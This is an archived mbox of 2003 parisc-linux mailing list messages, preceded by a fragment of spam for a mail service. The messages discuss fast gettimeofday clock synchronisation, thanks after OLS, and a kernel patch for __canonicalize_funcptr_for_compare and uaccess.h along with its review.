7)   .

       ,  mailto:unsubscribe@mail15.com?subject=unsubscribe

*************

 We are glad to invite you at new free mail service http://www.mail15.com. The advantages of this service are:
 1) mailbox, up to 15 Mb;
 2) absolute privacy and high reliability;
 3) ability to use mail clients (POP3, IMAP4, SMTP);
 4) access from anywhere, anytime;
 5) flexible light-weight web interface without advertising banners;
 6) antivirus and antispam control;
 7) fast mail transfer;
 8) high speed network channel;
 9) flexible light-weight web interface;
 10) wide spread ability of mail filtering and forwarding mail;
 11) clock around support;

 If you wish to be removed:
mailto:unsubscribe@mail15.com?subject=unsubscrib

7wZ2T53RI7



From - Thu Nov 08 21:28:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic light-weight syscall.
Date: Sun, 27 Jul 2003 06:27:45 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20030727122745.GC16753@dsl2.external.hp.com>
References: <20030725063739.GA13017@systemhalted> <20030725113700.GH1485@parcelfarce.linux.theplanet.co.uk> <20030726174845.GF31744@systemhalted> <20030726180031.GG31744@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622626 28521 80.91.229.3 (22 Nov 2014 02:17:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:06 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 27 06:27:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id DFC82483F; Sun, 27 Jul 2003 06:27:45 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030726180031.GG31744@systemhalted>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19027

On Sat, Jul 26, 2003 at 02:00:32PM -0400, Carlos O'Donell wrote:
> Talked to Rik Van Riel about fast gettimeofday and he indicated that
> it's not doable since you can't guarantee your process will get
> scheduled on another CPU whose clock is out of sync by more than X and
> get negative time.

Yes we can. We can sync CR16 across CPUs within a few CPU cycles.
I've described this before on parisc-linux.

"sync" means figure out the difference between CR16 on several
CPUs and using CPU 0 as the reference.

> Though I imagine you were talking about having one
> CPU update one page with time on it... and then other CPU's read this?
> LaMont notes that there is no requirement from the PA design that CPU's
> clock at _exactly_ the same frequency or have monotonically incrementing
> clocks at the right rate.

correct. IIRC 9000/870 have seperate clock sources.
But all the boxes we support to date have exactly one clock source.
The multi-cell boxes (like superdome) will have multiple sources
and I don't know how to handle those - maybe a "not quite so fast"
gettimeofday().

hth,
grant


From - Thu Nov 08 21:28:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@tuxfamily.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [OT] Thanks
Date: Sun, 27 Jul 2003 20:59:33 +0200
Organization: TuxFamily
Lines: 11
Approved: news@gmane.org
Message-ID: <3F242115.9040706@tuxfamily.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622626 28523 80.91.229.3 (22 Nov 2014 02:17:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:06 +0000 (UTC)
To: parisc linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 27 12:58:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from postfix3-1.free.fr (postfix3-1.free.fr [213.228.0.44])
	by dsl2.external.hp.com (Postfix) with ESMTP id 93D3F483F
	for <parisc-linux@lists.parisc-linux.org>; Sun, 27 Jul 2003 12:58:56 -0600 (MDT)
Original-Received: from tuxfamily.org (lns-th2-8-82-64-121-31.adsl.proxad.net [82.64.121.31])
	by postfix3-1.free.fr (Postfix) with ESMTP id 14040C330
	for <parisc-linux@lists.parisc-linux.org>; Sun, 27 Jul 2003 20:58:55 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030430 Debian/1.3-5
X-Accept-Language: fr, en
X-Enigmail-Version: 0.74.3.0
X-Enigmail-Supports: pgp-inline, pgp-mime
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19028

Hi all,

As you can read, I am back home safely. Once again, I would like to 
thank everybody who was at OLS this year. It is always the same pleasure 
to meet you guys in real.

If I did not say 'bye' saturday, please accept my digital one :

Bye and it was nice meeting you, Thomas !



From - Thu Nov 08 21:28:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [OT] Thanks
Date: Sun, 27 Jul 2003 21:12:19 +0200
Organization: ESIEE
Lines: 25
Approved: news@gmane.org
Message-ID: <20030727211219.10910b34.varenet@esiee.fr>
References: <3F242115.9040706@tuxfamily.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622627 28526 80.91.229.3 (22 Nov 2014 02:17:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:07 +0000 (UTC)
Cc: parisc linux <parisc-linux@lists.parisc-linux.org>
To: Thomas Marteau <marteaut@tuxfamily.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 27 13:12:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (d108.dhcp212-198-139.noos.fr [212.198.139.108])
	by dsl2.external.hp.com (Postfix) with ESMTP id B6B90488C
	for <parisc-linux@lists.parisc-linux.org>; Sun, 27 Jul 2003 13:12:24 -0600 (MDT)
Original-Received: from Tatooine.r3z0 (varenet@Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.8/8.12.7) with SMTP id h6RJCJrQ008685;
	Sun, 27 Jul 2003 21:12:21 +0200
In-Reply-To: <3F242115.9040706@tuxfamily.org>
X-Mailer: Sylpheed version 0.9.0claws (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19029

On Sun, 27 Jul 2003 20:59:33 +0200
Thomas Marteau <marteaut@tuxfamily.org> wrote:

> Hi all,
> 
> As you can read, I am back home safely. Once again, I would like to 
> thank everybody who was at OLS this year. It is always the same pleasure
> to meet you guys in real.
> 
> If I did not say 'bye' saturday, please accept my digital one :
> 
> Bye and it was nice meeting you, Thomas !
> 
Well Thomas was a bit quicker than me on that mail, so i'll join my thanks
there as well.

It's been very cool to meet everyone, and I really enjoyed that trip!

I hope there will be other meeting occasions soon, and for those i
couldn't say goodbye either, well, same remark than Thomas :)

Hope to see you again soon,

Thibaut


From - Thu Nov 08 21:28:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic light-weight syscall.
Date: Sun, 27 Jul 2003 15:43:11 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <03072715431101.00932@wolf686>
References: <20030725063739.GA13017@systemhalted> <20030726174845.GF31744@systemhalted> <20030726180031.GG31744@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622627 28529 80.91.229.3 (22 Nov 2014 02:17:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:07 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 27 14:47:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.goquest.com (ns1.goquest.com [12.18.108.6])
	by dsl2.external.hp.com (Postfix) with SMTP id 8E9CF482E
	for <parisc-linux@parisc-linux.org>; Sun, 27 Jul 2003 14:47:10 -0600 (MDT)
Original-Received: (qmail 30515 invoked by uid 0); 27 Jul 2003 20:46:58 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with qmail-scanner-1.16 
 (spamassassin: 2.55.  Clear:SA:0(-7.4/6.5):. 
 Processed in 1.270508 secs); 27 Jul 2003 20:46:58 -0000
X-Spam-Status: No, hits=-7.4 required=6.5
Original-Received: from unknown (HELO wolf686) (66.90.211.67)
  by mail.goquest.com with SMTP; 27 Jul 2003 20:46:56 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <20030726180031.GG31744@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19030

On Saturday 26 July 2003 01:00 pm, Carlos O'Donell wrote:
> > If you map the page and make CPU 0 update the date, then I'll write the
> > userspace interface for gettimeofday.
> >
> > I'm not sure how we would do the check for 'do we see fast gettimeofday'
> > but it might be that we include a magic value there and check for it?
> > Other arches must have solved this.
>
> Talked to Rik Van Riel about fast gettimeofday and he indicated that
> it's not doable since you can't guarantee your process will get
> scheduled on another CPU whose clock is out of sync by more than X and
> get negative time. Though I imagine you were talking about having one
> CPU update one page with time on it... and then other CPU's read this?
> LaMont notes that there is no requirement from the PA design that CPU's
> clock at _exactly_ the same frequency or have monotonically incrementing
> clocks at the right rate. Could you explain the idea you have a bit
> more?
Note - some multiple cpu hardware intentionally clocks the cpu's at
slightly different rates to limit RFI generation.
Not sure if any HP-PARISC machines do such clocking.
Mike


From - Thu Nov 08 21:28:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] k-2.6.0-test2-pa0: __canonicalize_f_f_c patch
Date: Mon, 28 Jul 2003 16:30:14 +0200
Lines: 143
Approved: news@gmane.org
Message-ID: <3F056E95000057BB@ocpmta4.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622627 28534 80.91.229.3 (22 Nov 2014 02:17:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 28 08:30:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 30D34482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 Jul 2003 08:30:18 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19h8y8-0003iD-00; Mon, 28 Jul 2003 16:27:20 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 28 Jul 2003 16:30:14 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19031

Hi Grant,

Here is your patch forward-port to 2.6.0-test2-pa0:
diff -NaurX dontdiff linux-2.6.0-test2-pa0/arch/parisc/kernel/parisc_ksyms.c
linux-2.6.0-test2-pax/arch/parisc/kernel/parisc_ksyms.c
--- linux-2.6.0-test2-pa0/arch/parisc/kernel/parisc_ksyms.c	2003-06-10 07:34:05.000000000
+0200
+++ linux-2.6.0-test2-pax/arch/parisc/kernel/parisc_ksyms.c	2003-07-28 13:22:48.000000000
+0200
@@ -122,10 +122,12 @@
 extern off_t sys_lseek(int, off_t, int);
 extern int sys_read(int, char *, int);
 extern int sys_write(int, const char *, int);
+asmlinkage long sys_wait4(pid_t ,unsigned int *, int, struct rusage *);
 EXPORT_SYMBOL(sys_open);
 EXPORT_SYMBOL(sys_lseek);
 EXPORT_SYMBOL(sys_read);
 EXPORT_SYMBOL(sys_write);
+EXPORT_SYMBOL(sys_wait4);
 
 #include <asm/semaphore.h>
 EXPORT_SYMBOL(__up);
@@ -201,6 +203,9 @@
 EXPORT_SYMBOL(__lshrdi3);
 EXPORT_SYMBOL(__muldi3);
 
+asmlinkage void * __canonicalize_funcptr_for_compare(void *);
+EXPORT_SYMBOL_NOVERS(__canonicalize_funcptr_for_compare);
+
 #ifdef __LP64__
 extern void __divdi3(void);
 extern void __udivdi3(void);
diff -NaurX dontdiff linux-2.6.0-test2-pa0/arch/parisc/kernel/real2.S linux-2.6.0-test2-pax/arch/parisc/kernel/real2.S
--- linux-2.6.0-test2-pa0/arch/parisc/kernel/real2.S	2003-07-14 19:36:03.000000000
+0200
+++ linux-2.6.0-test2-pax/arch/parisc/kernel/real2.S	2003-07-28 13:18:41.000000000
+0200
@@ -275,6 +275,7 @@
 	nop
 
 #endif
+
 	.export pc_in_user_space
 	.text
 	/* Doesn't belong here but I couldn't find a nicer spot. */
@@ -283,3 +284,17 @@
 	bv,n	0(%rp)
 	nop
 
+
+	.export __canonicalize_funcptr_for_compare
+	.text
+	/* http://lists.parisc-linux.org/hypermail/parisc-linux/10916.html
+	**	GCC 3.3 and later has a new function in libgcc.a for
+	**	comparing function pointers.
+	*/
+__canonicalize_funcptr_for_compare:
+#ifdef __LP64__
+	bve (%r2)
+#else
+	bv %r0(%r2)
+#endif
+	copy %r26,%r28

And also uaccess patch to avoid to obtain a wronb executable k (as for other
platform):
diff -NaurX dontdiff linux-2.6.0-test2-pa0/include/asm-parisc/uaccess.h linux-2.6.0-test2-pax/include/asm-parisc/uaccess.h
--- linux-2.6.0-test2-pa0/include/asm-parisc/uaccess.h	2003-01-13 08:42:40.000000000
+0100
+++ linux-2.6.0-test2-pax/include/asm-parisc/uaccess.h	2003-07-28 15:18:12.000000000
+0200
@@ -28,6 +28,11 @@
  * that put_user is the same as __put_user, etc.
  */
 
+extern int __get_kernel_bad(void);
+extern int __get_user_bad(void);
+extern int __put_kernel_bad(void);
+extern int __put_user_bad(void);
+
 #define access_ok(type,addr,size)   (1)
 #define verify_area(type,addr,size) (0)
 
@@ -35,8 +40,8 @@
 #define get_user __get_user
 
 #if BITS_PER_LONG == 32
-#define LDD_KERNEL(ptr)		BUG()
-#define LDD_USER(ptr)		BUG()
+#define LDD_KERNEL(ptr) __get_kernel_bad();
+#define LDD_USER(ptr) __get_user_bad();
 #define STD_KERNEL(x, ptr) __put_kernel_asm64((u32)x,ptr)
 #define STD_USER(x, ptr) __put_user_asm64((u32)x,ptr)
 #else
@@ -72,7 +77,7 @@
 	    case 2: __get_kernel_asm("ldh",ptr); break; \
 	    case 4: __get_kernel_asm("ldw",ptr); break; \
 	    case 8: LDD_KERNEL(ptr); break;		\
-	    default: BUG(); break;                      \
+	    default: __get_kernel_bad(); break;         \
 	    }                                           \
 	}                                               \
 	else {                                          \
@@ -81,7 +86,7 @@
 	    case 2: __get_user_asm("ldh",ptr); break;   \
 	    case 4: __get_user_asm("ldw",ptr); break;   \
 	    case 8: LDD_USER(ptr);  break;		\
-	    default: BUG(); break;                      \
+	    default: __get_user_bad(); break;           \
 	    }                                           \
 	}                                               \
 							\
@@ -141,7 +146,7 @@
 	    case 2: __put_kernel_asm("sth",x,ptr); break;       \
 	    case 4: __put_kernel_asm("stw",x,ptr); break;       \
 	    case 8: STD_KERNEL(x,ptr); break;			\
-	    default: BUG(); break;                              \
+	    default: __put_kernel_bad(); break;			\
 	    }                                                   \
 	}                                                       \
 	else {                                                  \
@@ -150,7 +155,7 @@
 	    case 2: __put_user_asm("sth",x,ptr); break;         \
 	    case 4: __put_user_asm("stw",x,ptr); break;         \
 	    case 8: STD_USER(x,ptr); break;			\
-	    default: BUG(); break;                              \
+	    default: __put_user_bad(); break;			\
 	    }                                                   \
 	}                                                       \
 								\

Thanks in advance to ci,
    Joel



------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic light-weight syscall.
Date: Mon, 28 Jul 2003 11:57:04 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20030728155703.GA32553@systemhalted>
References: <20030725063739.GA13017@systemhalted> <20030725113700.GH1485@parcelfarce.linux.theplanet.co.uk> <20030726174845.GF31744@systemhalted> <20030726180031.GG31744@systemhalted> <20030727122745.GC16753@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622628 28536 80.91.229.3 (22 Nov 2014 02:17:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:08 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 28 09:58:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C3A854841; Mon, 28 Jul 2003 09:58:58 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19hAMy-0000MQ-00; Mon, 28 Jul 2003 11:57:04 -0400
Content-Disposition: inline
In-Reply-To: <20030727122745.GC16753@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (94% Sync Ratio [=========.])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19032

> Yes we can. We can sync CR16 across CPUs within a few CPU cycles.
> I've described this before on parisc-linux.

It might be too costly to do the sync'ing all the time, and too costly
for a fast gettimeofday to do a sync at the polling point.
 
> But all the boxes we support to date have exactly one clock source.
> The multi-cell boxes (like superdome) will have multiple sources
> and I don't know how to handle those - maybe a "not quite so fast"
> gettimeofday().


The whole point behind fast gettimeofday is that userspace apps that
want to do timestamping on a _very_ accurate granularity (e.g.
nanosecondes) can get monotically incrementing numbers on each
gettimeofday. Do we even have such a fast clock on PA? What is the
fastest clock across the most boxes?

c.


From - Thu Nov 08 21:28:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k-2.6.0-test2-pa0: __canonicalize_f_f_c patch
Date: Mon, 28 Jul 2003 17:10:43 +0100
Lines: 97
Approved: news@gmane.org
Message-ID: <20030728161043.GB3840@parcelfarce.linux.theplanet.co.uk>
References: <3F056E95000057BB@ocpmta4.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622628 28539 80.91.229.3 (22 Nov 2014 02:17:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:08 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 28 10:10:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B2C584858
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 Jul 2003 10:10:44 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19hAaB-0003CN-2A; Mon, 28 Jul 2003 17:10:43 +0100
Content-Disposition: inline
In-Reply-To: <3F056E95000057BB@ocpmta4.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19033

On Mon, Jul 28, 2003 at 04:30:14PM +0200, Joel Soete wrote:
> diff -NaurX dontdiff linux-2.6.0-test2-pa0/arch/parisc/kernel/parisc_ksyms.c
> linux-2.6.0-test2-pax/arch/parisc/kernel/parisc_ksyms.c
> --- linux-2.6.0-test2-pa0/arch/parisc/kernel/parisc_ksyms.c	2003-06-10 07:34:05.000000000
> +0200
> +++ linux-2.6.0-test2-pax/arch/parisc/kernel/parisc_ksyms.c	2003-07-28 13:22:48.000000000
> +0200
> @@ -122,10 +122,12 @@
>  extern off_t sys_lseek(int, off_t, int);
>  extern int sys_read(int, char *, int);
>  extern int sys_write(int, const char *, int);
> +asmlinkage long sys_wait4(pid_t ,unsigned int *, int, struct rusage *);
>  EXPORT_SYMBOL(sys_open);
>  EXPORT_SYMBOL(sys_lseek);
>  EXPORT_SYMBOL(sys_read);
>  EXPORT_SYMBOL(sys_write);
> +EXPORT_SYMBOL(sys_wait4);
>  
>  #include <asm/semaphore.h>
>  EXPORT_SYMBOL(__up);

this bit seems unrelated; why do we need it?

> And also uaccess patch to avoid to obtain a wronb executable k (as for other
> platform):
> diff -NaurX dontdiff linux-2.6.0-test2-pa0/include/asm-parisc/uaccess.h linux-2.6.0-test2-pax/include/asm-parisc/uaccess.h
> --- linux-2.6.0-test2-pa0/include/asm-parisc/uaccess.h	2003-01-13 08:42:40.000000000
> +0100
> +++ linux-2.6.0-test2-pax/include/asm-parisc/uaccess.h	2003-07-28 15:18:12.000000000
> +0200
> @@ -28,6 +28,11 @@
>   * that put_user is the same as __put_user, etc.
>   */
>  
> +extern int __get_kernel_bad(void);
> +extern int __get_user_bad(void);
> +extern int __put_kernel_bad(void);
> +extern int __put_user_bad(void);
> +
>  #define access_ok(type,addr,size)   (1)
>  #define verify_area(type,addr,size) (0)
>  
> @@ -35,8 +40,8 @@
>  #define get_user __get_user
>  
>  #if BITS_PER_LONG == 32
> -#define LDD_KERNEL(ptr)		BUG()
> -#define LDD_USER(ptr)		BUG()
> +#define LDD_KERNEL(ptr) __get_kernel_bad();
> +#define LDD_USER(ptr) __get_user_bad();
>  #define STD_KERNEL(x, ptr) __put_kernel_asm64((u32)x,ptr)
>  #define STD_USER(x, ptr) __put_user_asm64((u32)x,ptr)
>  #else
> @@ -72,7 +77,7 @@
>  	    case 2: __get_kernel_asm("ldh",ptr); break; \
>  	    case 4: __get_kernel_asm("ldw",ptr); break; \
